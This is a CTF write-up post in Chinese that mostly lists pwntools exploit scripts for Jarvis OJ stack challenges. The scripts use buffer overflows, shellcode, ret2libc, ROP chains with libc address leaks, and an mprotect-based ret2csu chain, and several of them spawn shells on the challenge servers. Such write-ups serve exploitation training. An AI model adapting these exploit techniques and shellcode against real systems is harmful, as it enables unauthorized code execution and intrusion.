Jarvis OJ - 栈系列部分pwn - Writeup

weixin_30877755   于 2017-08-13 01:09:00 发布   34   收藏

文章标签： python

原文链接：http://www.cnblogs.com/WangAoBo/p/7352213.html

版权

最近做了Jarvis OJ的一部分pwn题，收获颇丰，现在这里简单记录一下exp，分析过程和思路以后再补上

Tell Me Something

此题与level0类似，请参考level0的writeup

http://www.cnblogs.com/WangAoBo/p/7591552.html

```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from pwn import *

elf = ELF('./guestbook')
good_game_addr = elf.symbols['good_game']

#  io = process('./guestbook')
io = remote('pwn.jarvisoj.com', 9876)
payload = 'A' * 0x88 + p64(good_game_addr)

io.recvuntil('message:\n')
io.send(payload)

print io.recvall()
io.close()
```

Smashes

```python
1  #!/usr/bin/env python
2  # -*- coding: utf-8 -*-
3  __Auther__ = 'M4x'
4
5  from pwn import *
6  context.log_level = 'debug'
7
8  flag_addr = 0x400d21
9  #  offset = 0x7fffffffcd68 - 0x7fffffffcb50
10 #  payload = 'A' * offset + p64(flag_addr)
11
12 payload = p64(flag_addr) * 200
13
14 io = remote('pwn.jarvisoj.com', 9877)
15 #  io = process('./smashes')
16
17 io.recvuntil('name? ')
18 io.sendline(payload)
19 #  io.recvuntil('flag: ')
20 io.recv()
21 io.sendline()
22 io.recv()
```

Test Your Memory

```python
1  #!/usr/bin/env python
2  # -*- coding: utf-8 -*-
3  __Auther__ = 'M4x'
4
5  from pwn import *
6  context.log_level = 'debug'
7
8  elf = ELF('./memory')
9  win_func_addr = elf.symbols['win_func']
10 cat_flag_addr = elf.search('cat flag').next()
11
12 payload = 'A' * (0x13 + 0x4) + p32(win_func_addr) + p32(win_func_addr) + p32(cat_flag_addr)
13
14 #  io = process('./memory')
15 io = remote('pwn2.jarvisoj.com', 9876)
16 io.recvuntil('> ')
17 io.sendline(payload)
18
19 print io.recvall()
20 io.close()
```

[XMAN]level0

详细分析
http://www.cnblogs.com/WangAoBo/p/7591552.html

```python
1  #!/usr/bin/env python
2  # -*- coding: utf-8 -*-
3  __Auther__ = 'M4x'
4
5  from pwn import *
6
7  context.log_level = 'debug'
8
9  elf = ELF('./level0')
10 callsys_addr = elf.symbols['callsystem']
11
12 #  io = process('./level0')
13 io = remote('pwn2.jarvisoj.com', 9881)
14 io.recvuntil('World\n')
15
16 payload = 'A' * (0x80 + 0x8) + p64(callsys_addr)
17 io.send(payload)
18
19 io.interactive()
20 io.close()
```

[XMAN]level1

详细分析
http://www.cnblogs.com/WangAoBo/p/7594173.html

```python
1  #!/usr/bin/env python
2  # -*- coding: utf-8 -*-
3  __Auther__ = 'M4x'
4
5  from pwn import *
6
7  context.log_level = 'debug'
8
9  shellcode = asm(shellcraft.i386.linux.sh())
10 #  io = process('./level1')
11 io = remote('pwn2.jarvisoj.com', 9877)
12 text = io.recvline()[14: -2]
13 #  print text[14:-2]
14 buf_addr = int(text, 16)
15
16 payload = shellcode + 'A' * (0x88 + 0x4 - len(shellcode)) + p32(buf_addr)
17 io.send(payload)
18 io.interactive()
19 io.close()
```

[XMAN]level2

详细分析
http://www.cnblogs.com/WangAoBo/p/7622091.html

```
1  #!/usr/bin/env python
2  # -*- coding: utf-8 -*-
3  __Auther__ = 'M4x'
4
5  from pwn import *
6  context.log_level = 'debug'
7
8  elf = ELF('./level2')
9  sys_addr = elf.symbols['system']
10 sh_addr = elf.search('/bin/sh').next()
11
12 payload = 'A' * (0x88 + 0x4) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)
13 #  io = process('./level2')
14 io = remote('pwn2.jarvisoj.com', 9878)
15 io.recvuntil('Input:\n')
16
17 io.send(payload)
18 io.interactive()
19 io.close()
```

[XMAN]level2_x64

level2_x64与level3_x64放在一块分析
http://www.cnblogs.com/WangAoBo/p/7966773.html

```
1  #!/usr/bin/env python
2  # -*- coding: utf-8 -*-
3  __Auther__  = 'M4x'
4
5  from pwn import *
6  context.log_level = 'debug'
7
8  elf = ELF('./level2_x64')
9  sys_addr = elf.symbols['system']
10 sh_addr = elf.search('/bin/sh').next()
11
12 rop = ROP(elf)
13 p_rdi_r_addr = rop.rdi[0]
14 #  print type(p_rdi_r_addr)
15
16 payload = 'A' * (0x80 + 0x8) + p64(p_rdi_r_addr) + p64(sh_addr) + p64(sys_addr) + p64(0xdeadbeef)
17
18 #  io = process('./level2_x64')
19 io = remote('pwn2.jarvisoj.com', 9882)
20 io.recvuntil('Input:\n')
21 io.send(payload)
22 io.interactive()
23 io.close()
```

[XMAN]level3

level2_x64与level3_x64放在一块分析
http://www.cnblogs.com/WangAoBo/p/7966773.html

```python
1  #!/usr/bin/env python
2  # -*- coding: utf-8 -*-
3  __Auther__ = 'M4x'
4
5  from pwn import *
6  context.log_level = 'debug'
7
8  local = 0
9  if local:
10     io = process('./level3')
11     libc = ELF('/lib/i386-linux-gnu/libc.so.6')
12 else:
13     io = remote('pwn2.jarvisoj.com', 9879)
14     libc = ELF('./libc-2.19.so')
15
16 elf = ELF('./level3')
17 start_elf_addr = elf.symbols['_start']
18 write_elf_addr = elf.symbols['write']
19 read_got_addr = elf.got['read']
20 read_libc_addr = libc.symbols['read']
21 sys_libc_addr = libc.symbols['system']
22 sh_libc_addr = libc.search('/bin/sh').next()
23
24 payload = 'A' * (0x88 + 0x04) + p32(write_elf_addr) + p32(start_elf_addr) + p32(0x1) + p32(read_got_addr)
+ p32(0x4)
25
26 io.recvuntil('Input:\n')
27 io.send(payload)
28
29 read_addr = u32(io.recv(4))
30 offset = read_addr - read_libc_addr
31
32 sys_addr = offset + sys_libc_addr
33 sh_addr = offset + sh_libc_addr
34
35 payload = 'A' * (0x88 + 0x4) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)
36 io.recvuntil('Input:\n')
37
38 io.send(payload)
39 io.interactive()
40 io.close()
```

[XMAN]level3_x64

```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from pwn import *
context.log_level = 'debug'

local = 0
if local:
    io = process('./level3_x64')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    io = remote('pwn2.jarvisoj.com', 9883)
    libc = ELF('./libc-2.19.so')

elf = ELF('./level3_x64')
start_elf_addr = elf.symbols['_start']
write_elf_addr = elf.symbols['write']
read_got_addr = elf.got['read']
read_libc_addr = libc.symbols['read']
sys_libc_addr = libc.symbols['system']
sh_libc_addr = libc.search('/bin/sh').next()

rop = ROP(elf)
p_rdi_r_addr = rop.rdi[0]
p_rsi_r15_r_addr = rop.rsi[0]

payload = 'A' * (0x80 + 0x8)
payload += p64(p_rdi_r_addr)
payload += p64(0x1)
payload += p64(p_rsi_r15_r_addr)
payload += p64(read_got_addr)
payload += p64(0x0)
payload += p64(write_elf_addr)
payload += p64(start_elf_addr)

io.recvuntil('Input:\n')
io.send(payload)

read_addr = u64(io.recv(0x8))
offset = read_addr - read_libc_addr

sys_addr = offset + sys_libc_addr
sh_addr = offset + sh_libc_addr

payload = 'A' * (0x80 + 0x8)
payload += p64(p_rdi_r_addr)
payload += p64(sh_addr)
payload += p64(sys_addr)
payload += p64(0xdeadbeef)

io.recvuntil('Input:\n')
io.send(payload)
io.interactive()
io.close()
```

[XMAN]level4

```python
1 !/usr/bin/env python
2 # -*- coding: utf-8 -*-
3 __Auther__ = 'M4x'
4
5 from pwn import *
6 context.log_level = 'debug'
7
8 #  io = process('./level4')
9 io = remote('pwn2.jarvisoj.com', 9880)
10
11 elf = ELF('./level4')
12 write_elf_addr = elf.symbols['write']
13 start_elf_addr = elf.symbols['_start']
14 read_elf_addr = elf.symbols['read']
15 bss_addr = elf.bss()
16
17 def leak(addr):
18     payload = 'A' * (0x88 + 0x4) + p32(write_elf_addr) + p32(start_elf_addr) + p32(0x1) + p32(addr) +
p32(0x4)
19
20     io.send(payload)
21     leaked = io.recv(4)
22     log.info("leaked -> %s -> 0x%x" % (leaked, u32(leaked)))
23     return leaked
24
25 d = DynELF(leak, elf = ELF('./level4'))
26 sys_addr = d.lookup('system', 'libc')
27 log.info("sys_addr -> 0x%x" % sys_addr)
28
29 payload = 'A' * (0x88 + 0x4) + p32(read_elf_addr) + p32(start_elf_addr) + p32(0x0) + p32(bss_addr) +
p32(0x8)
30
31 io.send(payload)
32 io.send('/bin/sh\0')
33
34 sh_addr = bss_addr
35 payload = 'A' * (0x88 + 0x4) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)
36 io.send(payload)
37
38 io.interactive()
39 io.close()
```

[XMAN]level5

```python
1 #!/usr/bin/env python
2 # -*- coding: utf-8 -*-
3 __Auther__ = 'M4x'
4
5 def Debug():
6     raw_input("waiting for debug:")
7     gdb.attach(io, "b *0x0000000000400618")
8
9 from pwn import *
10 context.terminal = ['deepin-terminal', '-x', 'bash', '-c']
11 context.log_level = 'debug'
```

```python
12
13 elf = ELF('./level5')
14 rop = ROP(elf)
15 p_rdi_r_addr = rop.rdi[0]
16 p_rsi_r15_r_addr = rop.rsi[0]
17
18 p_rbx_rbp_r12_r13_r14_r15_r = 0x00000000004006aa
19 mov_call = 0x0000000000400690
20
21 local = 0
22 if local:
23     io = process('./level5')
24     libc = ELF('./libc.so.6')
25 else:
26     io = remote('pwn2.jarvisoj.com', 9884)
27     libc = ELF('./libc-2.19.so')
28
29 io.recvuntil('Input:\n')
30 log.info("Step 1: leak read_addr")
31
32 read_libc_addr = libc.symbols['read']
33 read_got_addr = elf.got['read']
34 write_elf_addr = elf.symbols['write']
35 vuln_elf_addr = elf.symbols['vulnerable_function']
36
37 payload = 'A' * (0x80 + 0x8)
38 payload += p64(p_rdi_r_addr)
39 payload += p64(0x1)
40 payload += p64(p_rsi_r15_r_addr)
41 payload += p64(read_got_addr)
42 payload += p64(0x0000)
43 payload += p64(write_elf_addr)
44 payload += p64(vuln_elf_addr)
45
46 io.send(payload)
47
48 read_addr = u64(io.recv(8))
49 io.recvuntil('Input:\n')
50 log.info("leaked read_addr -> 0x%x" % read_addr)
51
52 log.info("Step 2: write shellcode 2 bss")
53 sh_addr = bss_addr = elf.bss()
54 shellcode =
"\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe1\x08\x48\xc1\xe9\x08\x51\x48\x8d\x3c\x24\x48\x31\xd2\xb
0\x3b\x0f\x05"
55
56 payload = 'B' * (0x80 + 0x8)
57 payload += p64(p_rbx_rbp_r12_r13_r14_r15_r)
58 payload += p64(0x0)
59 payload += p64(0x1)
60 payload += p64(read_got_addr)
61 payload += p64(len(shellcode) + 1)
62 payload += p64(bss_addr)
63 payload += p64(0x0)
64 payload += p64(mov_call)
65 payload += 'C' * (7 * 8)
66 payload += p64(vuln_elf_addr)
67
68 io.send(payload)
69 io.send(shellcode + '\0')
```

```python
70  io.recvuntil('Input:\n')
71
72  log.info("Step 3: hijack mprotect 2 __gmon_start__")
73  mprotect_addr = read_addr - read_libc_addr + libc.symbols['mprotect']
74  mprotect_hijack_addr = 0x0000000000600a70
75
76  payload = 'D' * (0x80 + 0x8)
77  payload += p64(p_rbx_rbp_r12_r13_r14_r15_r)
78  payload += p64(0x0)
79  payload += p64(0x1)
80  payload += p64(read_got_addr)
81  payload += p64(0x8)
82  payload += p64(mprotect_hijack_addr)
83  payload += p64(0x0)
84  payload += p64(mov_call)
85  payload += 'E' * (7 * 8)
86  payload += p64(vuln_elf_addr)
87
88  io.send(payload)
89  io.send(p64(mprotect_addr))
90  io.recvuntil('Input:\n')
91
92  log.info("Step 4: hijack sh/bss 2 __libc_start_main")
93  sh_hijack_addr = 0x0000000000600a68
94
95  payload = 'F' * (0x80 + 0x8)
96  payload += p64(p_rbx_rbp_r12_r13_r14_r15_r)
97  payload += p64(0x0)
98  payload += p64(0x1)
99  payload += p64(read_got_addr)
100 payload += p64(0x8)
101 payload += p64(sh_hijack_addr)
102 payload += p64(0x0)
103 payload += p64(mov_call)
104 payload += 'G' * (7 * 8)
105 payload += p64(vuln_elf_addr)
106
107 io.send(payload)
108 io.send(p64(sh_addr))
109 io.recvuntil('Input:\n')
110
111 log.info("Step 5: fix bss 2 777")
112
113 payload = 'H' * (0x80 + 0x8)
114 payload += p64(p_rbx_rbp_r12_r13_r14_r15_r)
115 payload += p64(0x0)
116 payload += p64(0x1)
117 payload += p64(mprotect_hijack_addr)
118 payload += p64(0x7)
119 #   payload += p64(len(shellcode) + 1)
120 #   payload += p64(sh_hijack_addr)
121 payload += p64(0x1000)
122 payload += p64(0x00600000)
123 payload += p64(mov_call)
124 payload += 'I' * (7 * 8)
125 payload += p64(vuln_elf_addr)
126
127 #   Debug()
128 io.send(payload)
```

```python
129 io.recvuntil('Input:\n')
130
131 log.info("Step 6: execv shllcode")
132
133 payload = 'J' * (0x80 + 0x8)
134 #  payload += p64(sh_addr)
135 payload += p64(p_rbx_rbp_r12_r13_r14_r15_r)
136 payload += p64(0x0)
137 payload += p64(0x1)
138 payload += p64(sh_hijack_addr)
139 payload += p64(0x0)
140 payload += p64(0x0)
141 payload += p64(0x0)
142 payload += p64(mov_call)
143 payload += p64(vuln_elf_addr)
144
145 io.send(payload)
146
147 log.info("Step 7: getshell")
148 io.interactive()
149 io.close()
```